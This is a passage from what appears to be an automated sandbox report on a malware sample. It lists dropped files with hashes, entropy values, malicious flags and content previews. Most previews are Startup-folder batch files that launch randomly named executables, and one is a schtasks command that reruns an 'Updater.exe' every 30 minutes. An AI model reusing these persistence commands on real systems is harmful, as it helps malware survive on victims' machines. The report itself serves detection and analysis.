Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.8185886460613325
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5LtX7HV6Jl:fE1923pjVm
MD5:	C4FE1266258AC7BB2C0EF5A2513ACBE4
SHA1:	FB1E7DF1EBBCFCC0FD838B588791062A7255E002
SHA-256:	44AC843014F20B772FE6A130BD52A35D25BB672FFE9A0660A4BB62D59C29F1A9
SHA-512:	E2E5A77F3E6804F51BE5382F6D6FAB50C3DCFCF1F7C29B5FE2074D52740AF3E234F338CDC7A8A0FCA2C96D0763411C97EBDBCE1AFE7BACF1621CF83546F23D99
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\nqutQ9rgLeAHNtyWdA1aXp1F.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FYS7ZbtfMHg45nrX4x6uzB9u.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.883662311231956
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5nkpZWvHk4Al:fE1923AovzAl
MD5:	676EE028CF9CCD609926D0B4A195599D
SHA1:	7D2C2E4E8FCB548F60CC4DFE1D61FEA079099F7E
SHA-256:	87E8EC1D923106923797EC0D1465A124B84BE9D4F459DEE48D42B447FD9A728B
SHA-512:	05CD778392305C31DD29C4A260FE72B24DEAAEFEA0B58497E58BA91CAFA7C8439F83B6C7754170BBF2D62FB455E52E5D21399AC21A203028CD8183CE6C4F8E61
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\BDWPWht51PAB6sI39ee6Tgbk.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Hx6FJnbZibFTuzR4KP9Slo6z.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	5.023796188584192
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5Uh9TOf2pVSUMyAln:fE1923ULCIVnMx
MD5:	4B0FE8B27B760FACE7A7D056790B837A
SHA1:	5525AB20DFC8F94DE4C72402599B19289CF940BB
SHA-256:	4DE2DDC11DB3B5AC0DF54DD77AB2E168884CA77962ED9AADD91F1A2237682DFD
SHA-512:	B640527F1AFD7908D0A5E318CA1B4A053AC73F00314D89EBA7A28EE64DE1A2EE4370A83D7452281F48ABC7D68321C82C518CA5D26E5EFEDE8FA0DBB722AAFF6C
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\1DHjR2vk6vS49GBZmU2Ta1ix.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\I0bhPTX30r8P4G1lvu8sFzoW.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.990017217489903
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J58tSl0/wmOBnDjUz/LNln:fE19238x4mYDjULLv
MD5:	EF78270711FF42BC5130205E56F1F302
SHA1:	2511AB9CDA19F70026CEE224F1D26AC17A449CAE
SHA-256:	7976C230EAB2D208C4929F2F657CB006BE4F8504E87D369A741E3FF5AB17033F
SHA-512:	53343CF4117F8BA061CB3F8CD96710D066299EC80A2B99A5A31F0C8144A93BEE1F640D93F1936EF89E78638C0E3B5AF9A4A76FE8B94808452E52B93F4BB136E5
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\YHw4f8SZUCkdAWRXPfF1qOas.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MGSlOhBcAWKEdyehvoNbVoUR.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.925871146123145
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5jRPMKtpeCl:fE1923GCl
MD5:	97D93F32EC5AD490B2A0D8941F9107A7
SHA1:	CE19F0015872C85375308307E53F256BC17190A4
SHA-256:	0B368FEF2A6CB882B952D0554D5EBABD8CEE06850BCF5AC3AA81711D16756E71
SHA-512:	5E8C905E30008A3917B0292E148912C0ECBC8883FD494FE7F22388026741A716C7C13428B66E97CC908D587D2ACA6AD14E2A3D70744D66429F98188F2D99150F
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\FH9ZiJrSMFU3hHrXc5ibJbFE.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NWqXzpae1NGiof3fGaSCKwbn.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.909510474298477
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5j2b7NKNHF:fE1923q0NHF
MD5:	1778C13F1FFD69804A339B6BD1BBDA6B
SHA1:	8A716865A570209245C8950CC300566D8A6BC484
SHA-256:	BBAFF5400D41B185F2E7CF61BB4A6B661C6ADF7AB35037AE7938367934232640
SHA-512:	5F2FE9D1CE63BBF4E7A320DC7C7B208977528E547098966F0DBADECF24FA3B635CF3496C4F722E69921C07221071E6F266207EB7A7E10456329F6E636ACB27B2
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\FXJXJcvxtZRFvWakkN6k83di.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OUfj0Cjc8tUmuX1EJn2UDMRq.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.916513688522378
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5GKccqCdpikyJHF:fE1923G8JikqF
MD5:	E4357BBBBEBDE8DC9DE423193088D727
SHA1:	3B96F9996483902D309C8C684BC656BE12988958
SHA-256:	BD8C3DF87ED74F7289AE713374407ABD4FD4683063DB95559280A1D753CE31C3
SHA-512:	BCC26002ADCEFF21F8C7DDCD31C1E80B441AA315D4332E0D74FD397103B833CD62FA52FE5B72AC3A8A621FA7A7B52EEB4E44E2BB55DF43E6481D7D95A5E05E18
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\cUZyyg5Iay7EkA1LG3XxNCAW.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PSzSTrBAfql6s2xHwMaulb6g.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.993798110439767
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J59HvL0viFn:fE1923lvAviF
MD5:	1ACCDE06BEFECDC3518B548AD15F497E
SHA1:	28A26F4D93C0ABB6E9F47F26856868DD9C0FA913
SHA-256:	B8C44E188490B6198BC0E8F3045DDC9C90EB071AE2AE0253B243C4E89F15378D
SHA-512:	C789871918EC5EBCBF23D9C3F8C31DA3EAF0034EB19C54BABA2D48D9FD302FE4EEF86E8F55608CFB1865C2994CD36A64BB3FDF5BD7B4094C0EB1CDBE5AFD7A9F
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\XbJnQ7YPZT43Q5vvoXLuAoSq.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Qeq8y82NFzxmb0C1zqsQ9GIJ.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	5.029372753235095
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5VBeQwJkm:fE1923rezkm
MD5:	48AF22467C9767CF1307A4A8D28E125C
SHA1:	974DC682881009B4C5EDDD0AA07FB3770DBFDBF5
SHA-256:	63F770284D956A54F1E56CD37A89AF8EB5CF33F3B62C9F198B665D9574D0027D
SHA-512:	D57DAFDE6319E76C17D3F27DF07807BF7FE901413A6D47CD9CE76D50D006122C77446A3176DD4E4652763EF4AD97F98D98051932D338E3082B6FE05CD1F3C5AD
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\pdCLEldSyO5Ik39YE4kJVbXN.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RVMSz0xyVTk828VJXeNNyJ5X.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.822369539011195
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5vsvEHEt0FuOCln:fE1923XEeFNCl
MD5:	E3670DD4690BF3379603771BBDC52554
SHA1:	C865BEE010E36679CBCD064DC107D94234714FAE
SHA-256:	DC351B2FA7690AD1241E088A3B9F176269D70BCB8805364FEBB98CEE8784365A
SHA-512:	A81849A4F7B23CCB4FC0FEA66B28A506BACB6C8357E3083666E196E9ED0B8E3BDFA67871DFA330FFE35E559227619661C2C8798B04672F29ADF4C98A5ABD61E3
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\Jye7PnMsJdWwQaaabqxbHITx.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RhOTMLiWYdQ5cM559FjqYdxz.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.9028762822026195
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5SQ/WsI30sn:fE1923SQG0s
MD5:	F2E312AF22BAB4474EDBDCB773B8956A
SHA1:	255CC1835D06A559424544FAAB0AD36BFE69FB2F
SHA-256:	64CE2E7994D531435B72EBE3ACE6C90F22DDE81007C3D93848B48600552395BA
SHA-512:	8ED5778CF3DF8C5B3B06D7C92642C8ED85A6C509C5642F3AEDA0912C925550B49DEEA33C0F6852FE8B0DDE754DE28FEDD169DCCA129A3A4379DE31169E08C0BF
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\wHBfjqvEYiXClqcsZASJdtJJ.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\V1FiUldszCzLAulbMss25ZN5.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.788590567916905
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5sYTl5TqWrmln:fE1923sYNqsml
MD5:	2E4BB86D1746E8732058954E11223D75
SHA1:	F2E5666DF6E8DF2435026BB5745C7565C888223E
SHA-256:	C43531CCA99E69CB22904F5D6977D420494DBE0F450115B5CEE94ED74B92B8D2
SHA-512:	DFED6BA897E24E0F610EF38C7DEE8C4EC8FE075B04B11AC79841AF0587C2514B45152089403865186BA52E4B5D8F9BF57B09A2B3F56BB20BEEADFAB6D7025A1C
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\IpW6W2Yjx6z6D3j66j3N2tH5.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\asxkwIl5OZIGfxZm6YYVmkyp.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.973656545665237
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5tSqNL3o0R4mn:fE1923VN3o0R4m
MD5:	5499561ADC96671865FC532BBED6C5AD
SHA1:	292E72C93922875ACBB9EA73D7D7089968C3DE7A
SHA-256:	EDE966D71691998DBCA424A790CE7575AB9EECA2F273FDF7655905992DAC22F0
SHA-512:	92D97855B32B20F67EF23749321DAEC37A283746B73A95C5E2E1CB3A5E11E72E7B4BB0F77120883D941DA053AE1D9518613D1D3324928D9DB8EC67E11819E065
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\H7TIhgIvG1Yhal1QnwrEdA0q.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bKbfQedsHp5fPnIwSbgAXTGS.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.862922975315049
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5s2omyEF:fE1923s0yEF
MD5:	55FDA4FBD732D67BA7BB988D4E4EA57F
SHA1:	E6E73C703BB1897B42782549ACB7E7281E772E6E
SHA-256:	332E3DF7577E14982CF5C69E57C72FC30C05F9BF8844E6F004A836E58381E7FB
SHA-512:	5EFCB398F8F96CD4CD28EE915C6D4C2C84BD89C21EFA5DCEAECF7C7860C3D76635BF9CF85D37038BF89C7F9293FCEB22654F07801F2EE1D563BFB2475F7D0415
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\IiRP3mWif0xpaQsabblBwYAE.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cPDXi3YsHb2JKplcNt2ulL4v.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.830799402808093
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5wJNvgLzjRLAsn:fE1923wJqHjtv
MD5:	CC6B05488E0F7ADA298E067CCDEDD70A
SHA1:	0B09A3E36198454F4DA3C07C77FABDA1C659C762
SHA-256:	5A363E87F8911598F5DC6B5216D3CDDDA1A0176475F96A6EB142C94DCA2A67F8
SHA-512:	428727D7F82A5F7ED40C7E0946197C3340D59724489D63CF3849EF0E83B12FEC2E36F731662DD7F41BFFC6C92B3AD9EFCA7900FA0353993AA203F55588F664C4
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\UbeikbXa4CwwIN3M94pDVFss.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cXcTyLUx7TcAqwa1PaqAe42l.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.693518824601853
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5O3KeCX1TVL4mn:fE1923O6xlTVkm
MD5:	302040BFF832D80D01E85D2451216076
SHA1:	D6BEC57D2D7D5B73AC28AC72CF4E2A96C125C6B5
SHA-256:	3859E86B6A0436B29ED7A970B76DCBA93B8F2E818B1DDAF12644C1E8B4574041
SHA-512:	E28F1A36669F837D1B32AF5EBC42DD8D282447D04FEF32B42B00778B2BBF025BB3DDD530A730248094BB3068B146CCF3BF5BCC8C54B03C332237DF6473E4368F
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\kCfcZTexs2vlrkxr2iahpjn0.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cgfjpHdWrKt7RBbVJLVt3KrQ.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.942231817947811
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J51WD/o66KrF:fE1923D65R
MD5:	B41573AE7FF078AC65B13504521CD94C
SHA1:	5B0FED204A8D0890089A983AB607ADF7D578AC53
SHA-256:	4BC21647BA95D987ABF86E025C12BB27A1900EF2BEDC25FD682EB8A2F9D72D0B
SHA-512:	C904C9079E5C23B67D1ACA2246DB1BCEFE73268F2567D5F581F1663075B5DF339C3D3E3167D627E29951F18C43EFDE1E2C342508AF80B9F8EC27FF995AEB4011
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\PsfJgdgdADnk5mVYPGyLWZVX.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cizDnjn04HXlR48gG87ono06.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.749235032171712
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5H3ZkG7taHNl:fE1923XZDwl
MD5:	677592C35AAA9FA1081B93A1B84C36E5
SHA1:	EA14D1DB1F0B3DC1F7607BB78F6A72D80BBCA4E6
SHA-256:	C305B8443F2458446183093CD95ECDBF6EDB279D78F4D9906FCA847DD77F1354
SHA-512:	0140AF6FCEBCAF5AD1110AFB80517285F5838CCB0D4062A62B20534FF6721469D11CE40E16FEE5F87E6DC774A26A5DA66D72AAE4B81EF2E2080145801360F0FC
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\buQDl25QOPcDefNxAl6eKA66.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iFau6s6nP0Npku3mzBCNvuor.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.702278511060241
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5zb2uupOJ0sn:fE1923P2uhJ0s
MD5:	1BD207CC087E97DDE24B44BCCD793CEF
SHA1:	7738748AF01B6F9C86915A5954800BAB402E9317
SHA-256:	0358B682C3BAEAD0DA4B8CF97B1C46F9BC486625800294B5455408D805BEE1B8
SHA-512:	D6B631F0665701461AA90FA5497BA299503D6DDBAFE040DFDC02ABD6871DCE6A2B6D7F768D7ADB7EDCAB40F087F71969A03550CD4DFBEB55BF9703505D5D5A0B
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\VeFiHaAJqD2MVtOotjaLLiHl.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kiXcuJUJS97MOwYXLopyQBva.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.7937981104397664
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5HpKqr5cmz3m:fE1923JKqr5cKm
MD5:	D60DC6601BEC42D775D30A96831DC2A9
SHA1:	2B737303385F66405A7C07DB72620316DA4A87F5
SHA-256:	2C01BA23A9AFFD7B5686E020D5C602F6F7E7824B5DB354BF5305C0405A84CA98
SHA-512:	933C39DF6EA107F056AD969BE8A759B5F99B3C14900474CBE23A8D6DD07DECC419391A68ECA3AA78D1F0B505B6DEEA47C9210EB8BED294D2B9A5360776F6FD67
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\bAqeOotivBzC3mPFFhCilCro.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mIfCnFQFL1iakCTbZHUvqqRQ.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.947439360470674
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5TlTAir/km:fE1923R
MD5:	667B1FD1CB108826C7E458B9B0700DAD
SHA1:	836301901A8A6CC86C7D42B7646853D574183BE5
SHA-256:	21A36F53CDBEC7F9498655E1EB039AFBED97D4C2B1EB643F34A67CF543122B5B
SHA-512:	95E022058488788D9C77666729ACA21F25D571D87B000C527ADFBDA9560B5EFBE9AEAF46EBAADF92F97301BB13719750BFC21C7F64496C21AA849F91BCD0E176
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\vODV6f1qBtycrG7AEUewXqSZ.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tP1HwHnBrmkAp5HYbvKx3soV.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.7736565456652365
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5du9gUadYKpFn:fE1923QgUa9
MD5:	C2B923C5C759C775EE1A3C01E778C2B3
SHA1:	03AE1D380CF847E8F70AFA09B6218E95FF58B4F0
SHA-256:	B44ECA66CC194539235B358E1C06ADB7418BFAE5F3D57E0B1F61598C67885FFB
SHA-512:	70A0BDD7FF7ABB377A8A082037EBBCE6F8D22AA89D0D3C3241573B9507676DE13EAAA7B00BEDAF7B22199108B60AD6A53E520FBCDC87D0F602326C861D4653A5
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\xKfa5BEne98Q6CDxSSuxDfob.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xEGgxKMHj9iJfbRcoMlSL4NY.bat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.845733425059762
Encrypted:	false
SSDEEP:	3:Ljn9m1Ukh4E2J5UFAdoTE/ul:fE1923UF4gE/4
MD5:	CA640BEF41E8E40A922BEA68CF4BF7F8
SHA1:	AEE4EBF8C4AFC909DAB5B8CDEF5E7379C18F062D
SHA-256:	541E011BAFE4BF6477287EE44AD3D22274727809B682179888AF3298D4292CE9
SHA-512:	ED693C9ABD8FEC4C76135F9C410EA3A371EEE05631DCBE055FC8BFF922D6227D6CD8A146CC60D3F0BC1CF54613A9792FB967A3572503ACD1050223E10A3D300C
Malicious:	true
Reputation:	unknown
Preview:	start "" "C:\Users\user\AppData\Local\qn8N72lxWeACAPN7HO6efjE8.exe"

C:\Users\user\AppData\Roaming\Microsoft\index.html

Process:	C:\Users\user\AppData\Local\Temp\wfplwfs.exe
File Type:	HTML document, ASCII text, with very long lines (313)
Category:	dropped
Size (bytes):	1948
Entropy (8bit):	4.505190219336192
Encrypted:	false
SSDEEP:	24:hYeJMwYtM5/NbaUsRYklU/UQJ/dXwtTIFzHJg0de1evoJXE+yQy7trAQDdbrarPd:nXafrqPiIZLdeUvoJX+dfdbOrPv+w
MD5:	12CF60E57791E7A8BD78033C9F308931
SHA1:	F6C8A295064F7FA8553295E3CD8A9C62352F7C2C
SHA-256:	2F9F2FE135D66C296AB6071D01529623BAC31D4A63AB073BE3C6C1E20D34F50A
SHA-512:	72735D76803980AFE7260D713A377F82316FA24109F1D2767B352984AA53D4A5E441A89D99AA3FDB32042DCB61B43D88465272BC98552892747829D7986CF3B2
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8" />. <meta http-equiv="X-UA-Compatible" content="IE=edge" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <title>Document</title>. <style>. . body {. padding: 20px;. background-color: #f6f8fc;. }. .main {. width: 900px;. margin: 0 auto;. text-align: center;. background-color: #fff;. padding: 20px;. }. .main h2 {. padding-bottom: 20px;. }. .main a {. background: #1a73e8;. color: #fff;. height: 40px !important;. display: block;. width: 100px !important;. margin: 0 auto;. line-height: 38px !important;. margin-top: 20px;. outline: none;. border: 1px solid;. font-size: 16px;. cursor: pointer;. text-decoration: none;. }. input {. height: 32px;. line-height: 32px;. background-color

C:\Users\user\AppData\Roaming\Microsoft\logo.png

Process:	C:\Users\user\AppData\Local\Temp\wfplwfs.exe
File Type:	PNG image data, 222 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2967
Entropy (8bit):	7.913357508524536
Encrypted:	false
SSDEEP:	48:1URrn/9eEsyo0EeDcQ4ltBljxjzQz4EJcDUe8E+afOp8L2rZ5lFw5CiSJzJ8Xp9T:2RZt7wurUCcE2DT8wZL2FkCVl8PRTJR1
MD5:	561A5A310AC6505C1DC2029A61632617
SHA1:	F267AB458EC5D0F008A235461E466B1FD3ED14EE
SHA-256:	B41BD7C17B6BDFE6AE0D0DBBB5CE92FD38C4696833AE3333A1D81CF7E38D6E35
SHA-512:	4EDB7EF8313E20BBC73FD96207C2076CE3BAC0754A92BB00AFF0259FFE1ADF6F7E4D6917E7815FD643139A08BD4A0F325F66982378F94483CE1EE0924DF6D3C5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......0.....~).E....tEXtSoftware.Adobe ImageReadyq.e<...9IDATx..]..UU.>..@....Q.1..M0.Q,.d4...AG.B..1..3...VF...".PB..V".%h.Q....J0.."..}...rf...y..f....:o.=......g.}...xb.K......u....^=.Mw.C.C3......`0.3...x..1..`0.3...J........$.........z......i.....0.G`.vYo....E.}Pg.q...x..x..sB.o......_..[...Q..^.J.cA...E..f.M...3. .......q!....;b..i..z..)$.z...W".;.+h.....)_.LwS>..TM.G....4..E0..O)q.Ag.~o.q........._.^...z[.[..l.Z,.;..rcx#.......(.....G&..fz).d.$l...........=.q..>.....:v.56.&.^...bP.j.P.8O../.t..> ?g...F..0..zI1.T.$..l...U....!..E..J."..f{....H.o.1..v....E..aD.A.Wm]^.h...ml.&...g..;&T...VGn..Y..L.E.~.'.usa...Qe..E.I...?S..).2F...u./..@mD.n.1.Sd....y:I. ..........2....l.R7%..bH8M...".6......1.....O_.9V)..V..x....Cu.. ..). 2...W@<#].r......*.g.^Uh.{".Q.x:(..&..=)..;.......a....).[b.{,.iE.^.Q...vY.ZDH`..u.sw.W......I......e'}..A.s..-...i.#...#.w.....C.\#.gA3B.(......H.}H?..mh......sk.....^.\.+bJ..^n=.wi4....,...#Q....r.W..

C:\Users\user\AppData\Roaming\Microsoft\qrcode.png

Process:	C:\Users\user\AppData\Local\Temp\wfplwfs.exe
File Type:	PNG image data, 400 x 400, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2315
Entropy (8bit):	6.943143412126543
Encrypted:	false
SSDEEP:	48:zEbbbzUbsSJ1kbrSAkbreb3bydbcqRbhS7SejSZQ7SknTb6ASme9HSBNSEbz5zSy:e0mSXwCrCDbST3YZUu
MD5:	93A1A761D17CA266066A4B8E286DAC1D
SHA1:	63B13D8F13FE092AA1CD18DFEA86C8C4CF2D5A8D
SHA-256:	BAD6F97F076CF04517A03820B486A2FFE564C2D0EF350932612CC40BEEC39F6A
SHA-512:	5D3360D096DA7A6B724CC68504DAC6691285807F2ACA361BBE27CA22ACDFE734ABF4EE4A4E2F9C55D7F94BB22D50062B19AF0A4DD34939CF4673BAA1746871BC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR....................pHYs..........+......IDATx...Ar.8..Ay.......E.A....X.(......../...N/..]..d...!X@.`....d...!X@.`....d...!X@.`....d...!X@.`....d...!X@.....~e.7[..1.....r.....p...t\|.7..HvX@.`....d...!X@.`....d...!X@.`........X....s'?....8>.s....../.......2...., C.....2...., C.....2...,.?.d..5.....{...l....?.i..O.e......!X@.`....d...!X@.`....d...q~4......_.i>].{...`....., C.....2...., C.....2...../...0\|.w....}..;o..".`..d...!X@.`....d...!X@.`....d...q~4........&o....5.._.).a....d...!X@.`....d...!X@.`....dl........g....x.#..z....z....!X@.`....d...!X@.`....d...!X@.t4.......a>.....CK.....o`..d...!X@.`....d...!X@.`....d....u\| `.q)s....K....c+..........7......, C.....2...., C.....2....B1....s.K.`.."...F}.6;>42g..d...!X@.`....d...!X@.`....d...q...............Rq.`...\|.5<~......2...., C.....2...., C.....2..9..6~6..8~......0...+<>{4w.G...2...., C.....2...., C.....2......0V.3#......./.U.......2...., C.....2...., C.....2....\|...L..3.K..E.....v....t9>\|

C:\Users\user\AppData\Roaming\Temp\Task.bat

Process:	C:\Users\user\AppData\Local\Temp\BroomSetup.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	129
Entropy (8bit):	4.809875578583948
Encrypted:	false
SSDEEP:	3:HFUuvaOpLKBchEXEtTC5WAuUkh4E2J5xAIEyrKBySKFS3:Ogas7SXEFAu923faKS3
MD5:	A60AD3B864BC5B7F3BC6056968D8343B
SHA1:	308D6F187B22DDCA1F6328F799EF62E1C505FF61
SHA-256:	9FA192F23FAB9E060AA78499C4B77D7479504903DF0B4B5C458F699FFBDB7CB5
SHA-512:	9A59F89C404CAF5EAD1DC8127F1AA62083BD5324C8E111E3A8724C6427E83E05980FF7197F919A787E7DD66B08EE41C962B97A5DF9B6A771C3E7084289548133
Malicious:	false
Reputation:	unknown
Preview:	chcp 1251.. schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\user\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F..

C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
